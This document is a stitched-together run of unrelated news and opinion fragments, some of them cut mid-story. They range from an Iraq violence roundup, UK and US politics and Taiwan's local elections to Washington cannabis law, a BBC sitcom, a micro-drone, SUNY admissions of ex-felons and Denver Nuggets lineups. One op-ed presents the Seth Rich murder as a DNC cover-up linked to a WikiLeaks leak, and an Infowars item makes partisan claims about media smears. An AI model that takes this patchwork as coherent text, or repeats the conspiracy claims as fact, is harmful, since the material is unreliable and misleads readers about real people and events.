In Mosul, a bomb seriously injured a policeman. A dumped body was found. Also, soldiers killed a suicide bomber attempting to enter a hotel.
U.S. forces detained 17 suspects across Iraq.
Southwest of Baquba, a judge was kidnapped.
In Amara, two people were arrested and their cache of landmines was confiscated.
Two men making bombs at home in Diwaniya were captured.
Gunmen kidnapped a professor in Kut.
Five al-Qaeda suspects were killed during a pre-dawn raid in Samarra.
Compiled by Margaret Griffis
Maybe that’s true.
But there are enough peculiarities about the way this case has been investigated to suggest otherwise.
Here are only a few:
Police never questioned the slain DNC information technology employee’s co-workers, as would be routine in a homicide investigation.
Police never questioned the owner and other employees of the bar Rich had left shortly before he was murdered.
Police never viewed the surveillance cameras in and around the bar that might show if anyone left with Rich or was following him.
Police in Washington’s overwhelming Democratic city have had a strange relationship with the DNC throughout the investigation. When a private investigator called police to check on progress in the case, he was called back by then DNC Chairwoman Donna Brazile.
The DNC has provided a media spokesman for the Rich family.
The DNC has denied any suggestion that Rich may have been working with WikiLeaks on the huge dump of emails released during the campaign last year, insisting, of course, on its narrative of a Russian hack.
In short, the DNC seems to be attempting to guide the police investigation from even considering the possibility that Rich’s murder could have anything to do with his work.
That’s a huge red flag and borders on obstruction of justice considering the total political control Democrats wields over the city.
So, what’s going on here?
Will Rich’s murder be just another unsolved crime for which there is no apparent motive and no suspects?
The concern about a possible cover-up in this case is reaching epidemic proportions throughout the U.S. And the attitude of the so-called “mainstream media” only compounds those concerns.
Why are the media so stridently incurious? Don’t they want to solve the murder by following standard investigatory protocols and by investigating all the possibilities? Why should this murder case be handled differently than every other murder case? Why are the reporters and news organizations and private investigators who ask questions about the lack of progress in the case vilified as “conspiracy theorists”?
And what’s the obvious solution?
In the case of the allegations of Russian involvement in the hacking of the DNC during the 2016 election campaign, a special counsel has been appointed to oversee the investigation.
Yet, after many months of multiple investigations, no evidence of Russian involvement has been produced.
Meanwhile, we have the Seth Rich murder case – seemingly going nowhere, with DNC officials openly restricting the flow of information.
Is it possible Seth Rich could have been involved in leaking DNC emails to WikiLeaks, as even Julian Assange has broadly hinted? Could it be that Rich, and possibly others at the DNC, risked their lives as whistleblowers to reveal scandal within the DNC – only to see their heroic work attributed to Russia for political reasons?
I’m not certain. But I am curious. And I can’t understand why others would attempt to thwart an open and honest murder investigation by narrowing the parameters of the probe. What would be their motivation?
Does that make sense?
That’s my case for a truly independent counsel investigation. This shouldn’t take a year to conduct. After all, it’s a murder case. The focus should be on who was responsible – like any other murder case. Who had the motive, means and opportunity? And all the evidence should be examined without regard to where the investigation leads.
What’s wrong with that?
Why should that even be controversial?
It’s time to conduct a real investigation into the murder of Seth Rich – for his sake, his family’s sake and for the sake of the American people and the principle of equal justice under the law.
Media wishing to interview Joseph Farah, please contact [email protected].
The thought is prompted by the rise and rise of would-be Labour leader Jeremy Corbyn, but not only by him. Bernie Sanders, the lone self-described socialist in the US Senate, is enjoying a Corbynesque surge in enthusiasm in Iowa and New Hampshire, the states that vote first on whether he or Hillary Clinton should be the Democrats’ presidential nominee in 2016. Like Corbyn, Sanders calls for an increased minimum wage, free university tuition and an economy no longer tilted towards the super-rich and the corporations. Like Corbyn, he is dismissed as an old white guy whose views were out of date a generation ago. And like Corbyn, he is enthusing the very young people usually written off as being disengaged from politics.
The similarity goes further. Opponents of both Corbyn and Sanders insist that even if the egalitarian Utopia of which these men dream might be desirable, it is out of reach, if only because the voters will never vote for it.
Conventional understanding of politics assumes that that kind of rational argument is devastating: if you amass the historical data and the foreign examples, point to defeat after defeat for Corbynist programmes or Sanders-like candidates, surely their supporters will glumly lower their placards and come to their senses.
That’s what’s been happening in the Labour party this week, as Tony Blair and others tried to sit the kids down and say: “Look, you’ve had your fun. But take it from us, even if Corbyn is right – which he isn’t – he is never, ever going to get elected. This crusade is doomed. Come back home.” And it hasn’t worked, chiefly because it misunderstands the attraction, even devotion, of Corbynites to their cause. Listening to some of his young backers this week, it became ever clearer that they are not supporting him because, having made a calm assessment of the four candidates, they believe he has the best chance of returning Labour to power. On the contrary, that has nothing to do with it. This week’s YouGov poll of Labour supporters – and we should remember our post 7 May vow never to listen to another poll again – found that, among those backing the Islington MP, only 10% thought it was important that the party leader “understands what it takes to win an election” (the figure was 63% among supporters of Liz Kendall).
What’s needed instead, one enthusiast for Corbyn told me, is “someone who can articulate what you feel”. The key is “to have someone who represents what you believe in. Why does it matter whether other people believe it or not?”
I suspect that gets to the nub of it. For a lot of those taking part, choosing a party leader is not about assembling a governing majority, winning power or even making a change in society. It is about identity. It is about being true to yourself. In this sense, joining the Corbyn tribe becomes something non-negotiable, or at least impregnable to routine political arguments about electability, popular appeal and the like. Those kinds of calculations are held to be cynical, because they require you to compromise something fundamental about who you are.
They are doing it not because they think he can win, but for the same reason people retweet images of same-sex weddings
The unkind reading of this is to suggest that support for Corbynism, especially among the young, is a form of narcissism. In the current New Statesman, Helen Lewis notes the tendency of people on social media towards “‘virtue signalling’ – showing off to your friends about how right-on you are”. She sees the current stampede of constituency Labour parties to nominate Corbyn as an extension of this same habit. They are doing it not because they believe the 66-year-old can win in 2020, but for the same reason people retweet images of same-sex wedding ceremonies. As Lewis puts it: “They are doing it to signal that they are on the side of right and good.”
I suspect there are other reasons at work, especially among the young. Part of it is simply age and memory. Those over 45 can remember the four Labour defeats from 1979 to 1992, the 1980s lurch towards Bennism and the civil war over Militant. They contemplate the prospect of a Corbyn victory and say, “We’ve seen this movie before: we know how it ends.” But for someone in their 20s or 30s, all that is so much ancient history. They look at today’s landscape, at the SNP or Syriza or Podemos, and think: why not?
What’s more, when they hear power held up as the decisive criterion, they’re not convinced. Based on recent experience, their view of the centre-left in office is mixed at best. So when Blair’s smiling face appears on TV they don’t associate his three election victories with the chance to implement a minimum wage or a windfall tax on the utilities, but rather with the invasion of Iraq. (In the US, Sanders feeds off the disappointments in Obama, whether the failure to close Guantánamo or to halt the galloping enrichment of the 1%.)
Why Labour voters are turning towards Jeremy Corbyn Read more
Blame for that is shared. Some belongs to New Labour itself, for internalising pragmatism to such an extent that it entered its soul, shutting itself off from the stirring language of moral fury at injustice. The result is that New Labour’s second generation often looks like a smooth, besuited set of careerists, elite members of a spadocracy against which Corbyn appears the paragon of rumpled authenticity.
But blame also attaches to the party’s outgoing leader. Ed Miliband’s positioning as the man who came to bury New Labour subliminally taught younger supporters to believe that little of value was achieved in those three hard-won terms. They absorbed the lesson that maybe power was not essential if all it led to was privatisations, Iraq and an engorged City.
All this has consequences for those who would like to halt Corbyn’s march to the leadership. It means they have to find a different way to talk to those drawn to the rebel backbencher. Sounding like the grownups lecturing the kids won’t do it. Hurling insults won’t help either. Nor will talk of electability, if what’s at play here is a matter of identity. They’d be talking at cross purposes.
Sean Lien, the Nationalist Party's (KMT) Taipei mayoral candidate, greets supporters in a traditional market ahead of local elections in Taipei November 26, 2014. REUTERS/Pichi Chuang
The election will be the first chance for the island, which giant neighbor China views as a breakaway province, to make its views known since March when thousands of young people occupied parliament in an unprecedented protest against a planned trade pact calling for closer ties with Beijing.
A record 11,130 seats are up for grabs in municipalities, counties, townships and villages, with the key battleground the capital, a KMT, or Nationalist Party, stronghold for nearly 20 years.
Every Taiwan president was once the mayor of Taipei.
“This is the skirmish before the presidential battle,” said Liu Shyh-fang, a senior member of the opposition Democratic Progressive Party (DPP).
“We have not had any chance to beat the KMT (in Taipei). Now it will be a little victory if Dr Ko can win,” he said, referring to independent candidate Ko Wen-je, who is backed by the DPP.
Opinion polls show the DPP slightly ahead in tight races against the KMT in Taipei and Taichung, another KMT stronghold in central Taiwan. Confidence in the ruling party has been worn away this year by a food safety scare from a tainted oil scandal, missteps in education reform and perceptions of class and income inequality.
The KMT, the party of Chiang Kai-Shek that retreated to Taiwan after losing the Chinese civil war in 1949, is pushing the trade deal with China that lays bare larger anxieties, especially among the young, about Taiwan’s identity.
Taiwan’s pride in its democracy helps reinforce the unwillingness of many to be absorbed politically by China, which has not ruled out force to ensure unification.
Many Taiwanese look with nervousness at China, where the Communist Party has rebuffed calls for political liberalization.
Just two months ago, young Taiwanese stood up by the hundreds in Taipei’s Liberty Square in support of anti-China pro-democracy protests in Hong Kong. In June, violent protests in the south of the island forced China’s top official in charge of relations with Taiwan to cancel meetings.
But big business with interests in China sides with the KMT. China is Taiwan’s largest trading partner.
“Taiwan’s job opportunities and development will shrink” without trade with China, said Cheng Chih-Chua at a KMT parade at the weekend.
Lin Chi-Hua, 37, who was among the hundreds who occupied parliament, disagreed. He believes unhindered Chinese investment is dangerous.
Big changes are likely in store for one of the nation’s largest medical marijuana markets, and there could be hundreds of MMJ business casualties – but new opportunities for fledgling recreational stores – as a result.
Earlier this week, Washington State lawmakers passed a sweeping bill that essentially seeks to eliminate the state’s thriving unregulated medical cannabis industry, meaning many of the 475-plus dispensaries and scores of collective gardens could be wiped out.
The measure will become law with the stroke of Gov. Jay Inslee’s pen, which is expected any day now.
If that happens, the state will significantly alter a medical marijuana market that hauled in $80 million to $100 million in sales last year, according to Marijuana Business Daily estimates.
Under the bill, dispensaries and collective gardens would basically have to get licenses from the state – and meet a host of regulations – by July 1, 2016, or close up shop.
Many of the details still need to be worked out, such as how the state will respond to those that don’t comply, how many licenses will be available to these businesses and when the permitting process would begin.
But many existing dispensaries and MMJ grows that have been operating for years likely won’t be able to make the transition to a licensed landscape, as they don’t have the capital or resources to meet regulatory and compliance requirements. There also might simply not be enough licenses to go around.
“The deal is that … collective gardens and all MMJ dispensaries as we now know them will be shutdown by summer 2016, no questions asked,” said Hilary Bricken, a lawyer with Canna Law Group in Seattle.
While the state and individual cities have done little to crack down on medical marijuana businesses yet – they have operated in a gray legal area for years – that would likely change if the governor signs the new bill.
Seattle City Attorney Pete Holmes told the Seattle Times the law gives his office the clarity it needs to “usher the 103 or so dispensaries we know of into legitimacy or into a new line of work.”
The measure (Senate Bill 5052) aims to create a more stable environment for the state’s cannabis industry by bringing both the rec and medical markets under one umbrella.
Recreational businesses stand to benefit from the new law, as they wouldn’t have to compete against a proliferation of dispensaries that can sell cannabis at much lower prices because they don’t face the same regulatory and tax burdens. Just as importantly, recreational stores would have increased access to the tens of thousands of MMJ patients that currently purchase cannabis at dispensaries.
A medical marijuana market would still exist, just in a different form than now.
Under the law, stores with a rec license could apply for a medical marijuana endorsement that would allow them to target registered MMJ patients, who would be exempt from paying taxes and could purchase three times as much cannabis as rec users. The stores would also be allowed to legally sell medical cannabis to patients as young as 18 (buyers must currently be over the age of 21 to even enter a rec shop).
Some dispensaries currently operating would likely vie for a rec license with an MMJ endorsement, though some would just attempt to obtain a general retail license so that they could continue operating. Regardless, it’s doubtful the state will award enough new licenses for every existing dispensary, meaning many – even the more reputable players – could be shut out.
The upshot is that some dispensaries that applied for – but did not win – rec licenses previously could get another shot to enter the regulated market.
The law also would force collective gardens to obtain licenses and meet regulations that would impose strict plant limits (60) and follow other rules.
Some other details:
A new Liquor and Cannabis Board would replace the Liquor Control Board that currently oversees the state’s recreational program.
The state is expected to begin accepting applications for additional licenses once the bill is signed, but when and how many is undetermined.
The bill calls for the use of a merit-based system to award licenses, giving first preference to those who applied for a marijuana retailer license prior to July 1, 2014, operated or were employed by a collective garden or dispensary before Jan. 1, 2013, maintained state and municipal business licenses and paid all applicable state taxes and fees. Second preference would be given to applicants who hadn’t applied for a retailer license, but met the other criteria.
To determine how many licenses will be issued, the state will need to consider limits on how much marijuana is allowed to be grown. If increased production is warranted, the board will then decide whether or not to open a licensing period for applicants, but only to cultivators “who agree to grow plants for marijuana retailers holding medical marijuana endorsements,” Bricken said.
The bill is quite controversial in the existing medical marijuana industry, as one would expect. Many patients will be unwilling to register for a medical card, and therefore they would tap the black market.
Some see this as a way for the government to “hold patients hostage,” said Karl Keich, the owner of collective Seattle Medical Marijuana Association.
“For my patients who are on a fixed income, the cost is going to go up at least 30%,” he said. “That’s something I’m concerned about as a business owner and humanitarian. Plus, we give away a lot of medicine, and we wont’ be able to do that, so that’s concerning.”
Keich said he’s one of those who meets the initial criteria to give him a leg-up in the next round of licensing. Yet there’s no guarantee he’ll win a permit.
“It’s nerve-wracking,” he said. “We’re hoping there’s no disconnect in Olympia and they issue the right amount of licenses. Hopefully these changes are going to right the system. If (other states) want a great example of what not to do, look at how Washington state has started.”
Ian Eisenberg, the owner of Uncle Ike’s, a recreational retailer in Seattle, said he thinks only a “small percentage” of collective garden owners will convert to the new system.
“Some aren’t good at living under a regulated system,” he said. “A lot of people don’t want government regulations or to pay taxes at all, and that’s a disservice to patients.”
The governor has five business days from receiving the bill to either sign it or reject it. A spokesman wouldn’t say Inslee would definitely pass the bill, but said the governor has wanted a resolution to troubles surrounding the MMJ program for some time.
“He’s been pushing for something like this for two years,” Inslee spokesman David Postman said.
According to Tweeden, “He repeated that actors really need to rehearse everything and that we must practice the kiss. I said ‘OK’ so he would stop badgering me. We did the line leading up to the kiss and then he came at me, put his hand on the back of my head, mashed his lips against mine and aggressively stuck his tongue in my mouth.”
NEW #AlFranken accuser — Melanie Morgan says she was stalked and harassed by @AlFranken https://t.co/G9lGKyCcZ3 — Brooke Singman (@brookefoxnews) November 16, 2017
Yes, it’s true. I was stalked and harassed by Al Franken. I will have details @MediaEqualizer shortly. — Melanie Morgan (@MelMorgan1350) November 16, 2017
Phil Kerpen teased a second accuser would come forward. “I’ve already heard about a second Al Franken victim.” The second accuser is Melanie Morgan of Media Equalizer. Yes, it’s true. I was stalked and harassed by Al Franken. I will have details @MediaEqualizer shortly,” tweeted Morgan. Who is Melanie Morgan?
I’ve already heard about a second Al Franken victim. — Phil Kerpen (@kerpen) November 16, 2017
Melanie Morgan is an award-winning radio talk show host, author, columnist, journalist, TV anchor and independent reality TV producer. In 2017, Morgan became co-host of YourVoice America, which airs Wednesday nights on Twitter, via YourVoiceAmerica.tv. Known for her advocacy on behalf of the American military and defense of the War on Terror, she has been a frequent guest on many cable TV shows, including Fox News, CNN and the BBC. This post will be updated with Morgan’s account via Media Equalizer.
Source: @thegatewaypundit.com
Created and written by Charles McKeown, who was Oscar-nominated for 1985’s “Brazil” directed by Cleese’s fellow Python Terry Gilliam, “Edith” will also star Jason Watkins, Jessica Hynes, Anne Reid, Rosie Cavaliero, James Cosmo and Peter Egan. The show re-teams Cleese and Steadman, who played husband and wife in Christopher Morahan’s 1986 film “Clockwise.”
“If you had carte blanche on your fantasy BBC One comedy cast then you’d not be far off the ‘Edith’ line-up,” said Shane Allen, controller of comedy commissioning at the BBC. “It’s also a huge pleasure to welcome John Cleese back to the land of BBC sitcom — his last one did all right.”
Cleese’s last BBC sitcom was “Fawlty Towers,” the farcical hotel-set show he co-created with former partner Connie Booth. “Fawlty Towers” originally ran for just two seasons in 1975 and 1979, and has become a comedy classic.
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Cleese has since had guests spots on such American sitcoms as “Will & Grace,” “3rd Rock From the Sun,” and “Entourage.”
Of “Edith,” Cleese said: “These are the most enjoyable scripts I’ve been sent in the last 100 years. It will also be particularly nice to work with Alison again since we joined forces in ‘Clockwise’ all that time ago.”
Steadman stars as the eponymous “Edith,” a widow who enjoys daily visits from an old boyfriend, Phil (Cleese), who now lives across the street. Just as Phil finally convinces Edith to marry him and move abroad to a sunnier climate, her 50-year-old son (Watkins) announces that he’s moving back home after having left his job and family, which puts Edith and Phil’s dreams on hold.
Special Delivery model at the Stanley Hardware Co. in Cincinnati, Ohio
The American Austin Bantam was a hit from the moment the first one left the assembly line. The body design for the little car was by Count Alexis de Sakhnoffsky for the Hayes Body Corporation, of Grand Rapids, Michigan. As Robert D. Cunningham has stated in our earlier history of the car: “The Hayes designs captured the hearts and emotions of people who loved puppies, kittens and babies.
Full details of the little car, “Automotive Industries”, June 28, 1930
Micro Air Vehicles are a specific class of aerial drones nearer in size to insects than airplanes, and the DelFly Explorer is no exception – weighing just 20 grams, or as much as four sheets of A4 paper.
The Explorer’s real innovation though is its unique sensory array; a tiny system that contains two cameras and a computer that allows the bot to navigate autonomously using bincoluar vision. This miniscule setup weighs just four grams.
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All the computing power to keep the Explorer flyer happens on-board – there’s no need for the craft to be controlled, and it can take-off by itself, maintain a height and avoiding obstacles for the nine minutes of its battery life.
Other aerial drones are capable of the same feats – stable and autonomous flight – but weigh as much as 50 times more than the Explorer. With this lighter weight comes lower production costs and the ability to be deployed safely in environments with humans.
The team behind the DelFly have imagined a range of uses for their new bots, ranging from the practical (detecting ripe fruit in greenhouses or mapping abandoned buildings) to the whimsical (streaming live video footage at a gig or masquerading as fairies at a theme park).
SUNY officials, who oversee the nation's largest public university system, voted on Wednesday to "ban the box" on student applications that asks about criminal history. An internal memo outlining SUNY's decision credited a 2015 analysis that found nearly two-thirds of applicants who disclosed having a felony record had dropped out of the application process.
Alan Rosenthal, an attorney with the Syracuse-based Center for Community Alternatives, an advocacy group for former inmates that investigated SUNY's treatment of applicants, said he was elated to learn that his analysis influenced the change.
"This is the first public education system in any state to reverse course, and reject the box," Rosenthal told The Marshall Project. "Hopefully other states will do the same."
SUNY spokeswoman Holly Liapis, however, noted that students will still face criminal background inquiries when applying for on-campus housing, internships and study abroad programs.
NEW PALTZ, N.Y. — Adrien Cadwallader sat with half a dozen campus officials and nervously confessed the low points of his troubled history: the 20 arrests, the drug addiction, followed by the diagnoses of bipolar disorder and PTSD.
He fought tears as he tried to explain to the gathering of official gatekeepers why he, a 33-year-old former cocaine dealer with violent impulses, deserved to sit in a college classroom of doe-eyed 20-somethings.
“I told them how difficult it is to live with the guilt for the things that I have done,” said Cadwallader, recounting his admissions interview at the State University of New York campus in New Paltz, a working-class town in the middle of horse-farm country 90 miles north of Manhattan.
Cadwallader had taken classes while behind bars in the Mt. McGregor Correctional Facility near Saratoga Springs, and hoped upon his release that a college degree would get him off the path that had taken him in and out of prisons for eight years.
When he checked the box on the New Paltz application owning up to his felony record, the demands began. The school wanted letters from the prison psychologist, the prison superintendent and his parole officer, and his full criminal record. Cadwallader replied that Mt. McGregor did not have a psychologist and that he never interacted with the superintendent. He submitted letters from his current psychologist, psychiatrist and parole officer, and braced for the screening committee. There, he says, he was grilled about his record — including arrests for misdemeanors and for charges that had been dismissed.
“They kept asking me about my rap sheet,” said Cadwallader. “It doesn’t tell my full story. Those things were done by a person that is no longer me.”
“I felt like I was being set up to fail.”
New Paltz turned him down, as did another state school, Dutchess Community College. New Paltz explained only that the admission process “is very competitive.” Cadwallader has abandoned his college aspirations and is living on welfare.
Adrien Cadwallader is one of roughly 2,900 college hopefuls who apply each year to the 60 campuses within The State University of New York and check a box disclosing he or she has been convicted of a felony. He is unusual in one important respect: he stuck with the application process to the end. Most find the admission hurdles for ex-felons so daunting that they give up.
According to a forthcoming analysis of state records by the Center for Community Alternatives, an advocacy group that lobbies for alternatives to incarceration, about three out of five applicants with felony records drop out between application and admission, discouraged from pursuing an education that might equip them for a crime-free future. Among applicants without criminal records, the dropout rate is only about one in five, according to the report, believed to be the first such study of a major public university system.
For every applicant like Cadwallader who is rejected outright, 15 give up when confronted with the demand for intrusive documents and interrogation by a screening committee, the study found.
An advance copy of the study and the data1 behind it were made available to The Marshall Project and WNYC radio as part of an examination of how public universities handle applicants with criminal records.
the study and the data1 The Center for Community Alternatives submitted Freedom of Information Law requests to 60 SUNY campuses asking for the number of applicants, the number of applicants disclosing a felony conviction, the number of completed applications and the number of applicants denied admission as a result of a felony conviction. Thirty campuses provided usable data. As a result, the study examined between one and six years of admissions data from 17 four-year schools and 13 community colleges.
At a time of growing concern about the country’s overpopulated prisons and high rate of recidivism, new attention has focused on barriers that keep former inmates from reentering society with a reasonable chance to stay out of trouble. A campaign to “ban the box” — the box on job applications that denotes a criminal record — has won the support of major employers, including Target and Wal-Mart. Nineteen states along with nearly 100 cities and counties — including New York City — now place some restrictions on employers’ asking job candidates about their criminal background on an application. Some public university systems — including California’s, and the City University of New York — do not routinely ask applicants to divulge a criminal record.
“If we are sincere about criminal justice reform, economic independence, creating pathways out of poverty, and reducing our reliance on incarceration, then the college doors should be open to all,” said Ronald Day, an ex-felon who succeeded in gaining admission to SUNY Empire State College after a process he likened to running a gauntlet. After graduating, he applied for a Ph.D. program at another SUNY campus but, faced with a repeat round of interrogation, he withdrew his application. He enrolled instead in a City University of New York program. “We can create more thoughtful and inclusive admissions policies, but we need to start by thinking outside the box,” he said.
But nationally many universities, responding to the safety concerns of students and parents, require extra screening of applicants with criminal records. The Common App — a standardized application process accepted by more than 500 schools — asks applicants whether they have been convicted of a misdemeanor or a felony. The question was added to the application in 2007, the year of the Virginia Tech massacre.
“It reflects the needs of the very diverse group of colleges who use the Common Application,” said the company’s spokesperson, Aba Blankson. “The application is about getting to know the student from different perspectives.”
Historically, high-profile campus crimes have often led to more stringent screening of present and prospective students — along with more hiring of security personnel and stricter reporting of incidents on campus.
The on-campus rape and murder of a 19-year-old Lehigh University student, Jeanne Clery, in 1986 sparked a national debate about campus safety. (Clery’s killer did not have a prior criminal record.) Four years later, Congress passed the so-called Clery Act, requiring that colleges and universities publicly report on-campus violence along with drug and alcohol violations. The parents of the murdered student founded the Clery Center for Security on Campus as a resource for student crime victims.
The organization’s executive director, Alison Kiss, defended the use of background checks for college applicants, calling them “one layer of prevention.”
After two student-on-student murders in 2004 at the University of North Carolina-Wilmington, that state’s public university system revamped its admissions policies. Applicants now have to divulge not only criminal records, but whether they have ever been on academic probation or suspended from high school. The university may order background checks on prospective students who admit to having criminal histories.
Officials at Virginia Tech created a Threat Assessment Team after the 2007 on-campus shooting rampage that killed 27 students and five faculty members. A group of university police detectives and administration officials investigate reports of suspicious behavior by students, staff and visitors.
ViewFinder Visual commentaries on criminal justice issues
“There is really no data that shows students with criminal histories commit more crimes on campus than other students,” said Robert Stewart, a researcher at the University of Minnesota. Yet Stewart’s reviews of applications at 1,407 four-year colleges for a forthcoming study found that 70% of schools ask prospective students to share their criminal history.
Campuses in New York’s state system, with 460,000 full-time students the largest state university system in the nation, are obliged by SUNY policy to ask about felony convictions, but they vary widely in their treatment of ex-felons. After a prospective SUNY student checks the criminal history box, officials send a letter or an email asking for additional paperwork. The researchers at the Center for Community Alternatives counted a total of 38 different documents that the schools have required former felons to provide, including documents that are protected by privacy laws, documents that can be all but impossible to obtain, and in some cases documents that do not exist.
Although SUNY policy declares that applicants should be judged only by felony convictions, some probe outside the boundaries. Erie Community College, near Buffalo, requires applicants to provide a “letter of discharge,” on court letterhead, to explain the outcome of arrests that did not lead to convictions. Some campuses demand that criminal histories be sent directly from the Division of Criminal Justice Services, although that agency releases records only to the offender.
All campuses require applicants who have checked the box to have a review committee scrutinize their submitted documents and often to interview the applicants. These panels may include campus law enforcement and mental health specialists in addition to admissions officials. (Buffalo State includes a member of the athletic department.)
“Each of the campuses are doing what they want,” said Alan Rosenthal, the director of justice strategies for the Center for Community Alternatives and the lead author of the 85-page report on SUNY practices. “It’s one big mess.”
Listen to WNYC’s broadcast of this story
Dona Bulluck, an associate counsel for SUNY, said schools have been verbally instructed that the chair of the screening committee should redact information such as juvenile records before sharing documents with members.
“If individuals encounter a problem with a particular campus, unless we are made aware of the issue, we can’t address it,” she said.
In a followup email, another SUNY official, Director of Public Relations Casey Vattimo, said the university system would encourage admissions personnel on all campuses to attend annual training on the policies for handling applications from ex-offenders.
Paul Berger, the deputy commissioner for SUNY police, said the screening is “a way to balance the educational access of ex-offenders with campus safety.” It is also, he said, a way to weed out applicants who are not equipped to confront the complexities of higher education.
“College campuses are not a therapeutic environment,” he said. “There is a lot of recreational drug use. There are other activities that happen on college campuses. And the question we would have: is this person going to be successful in this environment? Or will they be tempted into failure in this environment?”
In comparison, the City University of New York, a system with 23 schools and more than 269,000 degree-seeking students, does not routinely ask applicants about their criminal past. The university does have a policy authorizing an individual campus “to deny admission to students who may pose a risk to the college.” A CUNY spokesman said the institution wants all students, even past criminals, to have access to a higher education.
Applicants who have been convicted of sex crimes are the most likely to face close scrutiny at CUNY and elsewhere. Federal law requires that law enforcement agencies track the whereabouts of sex offenders enrolled in colleges and universities. CUNY is notified by the state Division of Criminal Justice Services if one of its student is in the state’s sex offender database.
The vetting process for potential students at New York’s private colleges and universities can be even more stringent than in the public system, according to Stewart’s research. Touro College, a Jewish institution that is based in Manhattan and has a sizable black student population, tells applicants to disclose any convictions that were sealed, expunged or removed from criminal records. (Asked about the requirement, a Touro spokeswoman said that “a question intended for professional school applicants inadvertently became the default question for our base application. This is being evaluated, and we thank you for bringing this to our attention.” The college subsequently said it has revised its policy to require sealed records only for its professional schools.)
Last year, New York Attorney General Eric Schneiderman pressured three private schools — St. John’s University, Dowling College and Five Towns College — to revamp their admissions processes. Schneiderman admonished the schools in October for inquiring about arrests that did not lead to convictions.
The attorney general’s office declined to discuss its policy on the record, but issued a statement saying that its Civil Rights Bureau “has launched a broad initiative to combat barriers to re-entry faced by individuals with prior contact with the criminal justice system. The office will continue to ensure that every New Yorker has the chance to earn a living and lead a productive life after paying a debt to society.”
Former inmates and advocates say the burden of “the box” falls disproportionately on black applicants, since African-American men have high rates of incarceration. The Center for Community Alternatives survey suggests this is particularly true at community colleges, which have traditionally been an economic ladder for poor and minority students.
Indeed, at most community colleges included in the survey the percentage of blacks who admitted to having felony convictions was two or three times as high as the percentage of blacks in the general admissions population.
Alexandra Cox, a sociology professor as SUNY-New Paltz, said she takes the disparity between the large numbers of young black men in prison and their scarcity on the state’s campuses as a call to action. Cox guides incarcerated teenagers as they apply to the college and has become a vocal on-campus advocate for enrolled students with arrest records.
“I feel very committed to the idea that we aren’t judged by the worst mistake that we ever made,” Cox said.
For applicants not defeated by the obstacle course, the opportunity to pursue an advanced education is seen as a genuine reward.
Michael Manos, who spent more than 16 years in prison for being an accessory to kidnapping and grand larceny is now, at age 51, a first-year student at Dutchess County Community College. Manos said he almost dropped out of the school’s admissions process, angry that he had to show officials his rap sheet and meet with a felony review committee. Now he wants to become a paralegal.
“I look at this as my new life,” Manos said. “I feel that God has blessed me and has given me a new reason to be here.”
“If you just get past the rough part,” he added, “There’s a massive payoff.”
As it turns out, that has been a minimal issue, at best, through two games. But, the Nurkic/Jokic combination has opened up an entirely different set of “problems” to solve, all having to do with playing time and usage.
The duo has only been on the court at the same time a total of 28 minutes and change, an official average of 14.1 minutes in the Nuggets first two games. So this is not the Nuggets going big all the time. And while it is a small sample size, it’s been plenty large enough for there to be some general lineup assumptions made through the simple action of watching who is out there and when.
It appears though the Nuggets have already proven to be one of the NBA’s better post up teams, it’s an offensive personality they want as a complement, not as a rule. And it’s cost Nurkic, whose season start on the block has been as dominant as any big man in the league. Related Articles October 30, 2016 Nuggets next lesson: Find a consistent finishing kick
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According to Synergy stats, the Nuggets are not only good when posting up, they’ve burst out of the gates ranked ninth in points per possession on post ups. That is almost entirely due to the reemergence of Nurkic, who has put a summer’s worth of work to good use.
Of the 11 players who have put up at least 10 shots in post-up situations, only Anthony Davis has a better field goal percentage (61.1) than Nurkic (54.5). Only Davis, Kevin Love and Kawhi Leonard average more points-per-post-up possession than Nurkic (1.00). Nurkic incidentally is tied with DeMarcus Cousins, Marc Gasol and Paul Millasp in that category. He scores at least one point 53 percent of the time he posts up. Only Davis and Love own better percentages.
As a result, only Memphis, Detroit and San Antonio have more total possessions devoted to post ups going into Monday’s games – and those teams have played at least three games to the Nuggets’ two. Only Philadelphia had a higher percentage of all its possessions come on posting up than the Nuggets, who have used the play 12.3 percent of the time. So, fundamentally there could be a tug of war in philosophy: Do the Nuggets want to post up that much? Maybe not. But if the answer is somewhere in the “we’re cool with it” range, then that leads right to the second question: Why not put the team’s single most devastating post-up player – Nurkic – on the court more than his current 24.5 minutes per game?
Coach Mike Malone’s answer has been defense. He’s wanted more athletic players on the court to guard certain individuals, particularly down the stretch in the first two games. Nurkic has not played a second in the fourth quarter of either of the first two games. But Nurkic is also a high-usage player — second only to Emmanuel Mudiay on the team — a ball-dominant personality that hovers over any other big on the court.
And that’s where Jokic comes in.
He’s as unselfish a player as there is anywhere. He’s not a shot hunter by nature, and that means when he’s on the court with Nurkic, he’s not shooting much at all because the Bosnian Beast is. In the first two games, Jokic is 3-for-5 shooting and is averaging 3.5 points in the first quarter playing alongside Nurkic. Nurkic, meanwhile, is 5-for-7 and is averaging 7.5 points in the first quarter, most of that production coming alongside Jokic.
The problem the Nuggets have to solve is: How can they get both players to be hugely productive while on the court together? If they can’t do it, then they’ll be forced to start with them both and go quickly away from it as they’ve been doing so far. Jokic was on the court in the fourth quarter of the Portland game Saturday night, so it’s not all about matching up athletically. And Nurkic was on his way to another dominating performance in that game, and he continues to be the Nuggets’ best rim protector, so his play right now is not an issue.
Infowars.com
September 6, 2010
Ashes to ashes, dust to dust. The establishment media smear machine is officially dead and buried. Rand Paul has extended his lead over Democratic opponent Jack Conway to a massive 15 points, proving that when the distrusted and discredited corporate media attacks anyone now, it actually increases their popularity.
“Rand Paul, a tea party-backed Republican running for a U.S. Senate seat in Kentucky, is leading his Democratic rival Jack Conway by 15 points, according to a new poll by SurveyUSA,” reports the Wall Street Journal.
The article points out that polls conducted in August showed Paul ahead by a region in between 5 and 10 points, indicating that he has almost doubled his lead since the latest pathetic attempt by the establishment media to smear the Kentucky candidate.
In early August, the corporate media launched a hoax hit piece against Paul, claiming that he had kidnapped and force drugged a woman in college, even after the anonymous woman retracted her story and admitted that the episode was a harmless college prank that she had willingly participated in and that ‘the whole thing had been blown out of proportion’ by the media.
Even after the woman had recanted, the Washington Post persisted in attributing importance to the fact that Paul had jokingly told his friend to “worship the Aqua Buddha” nearly 30 years ago.
The farce represented a culmination of increasingly ridiculous attempts to discredit the Kentucky primary winner on behalf of the corporate media, after Paul was subjected to at least one smear attack per month since his victory over establishment Republican Trey Grayson back in May.
A d v e r t i s e m e n t
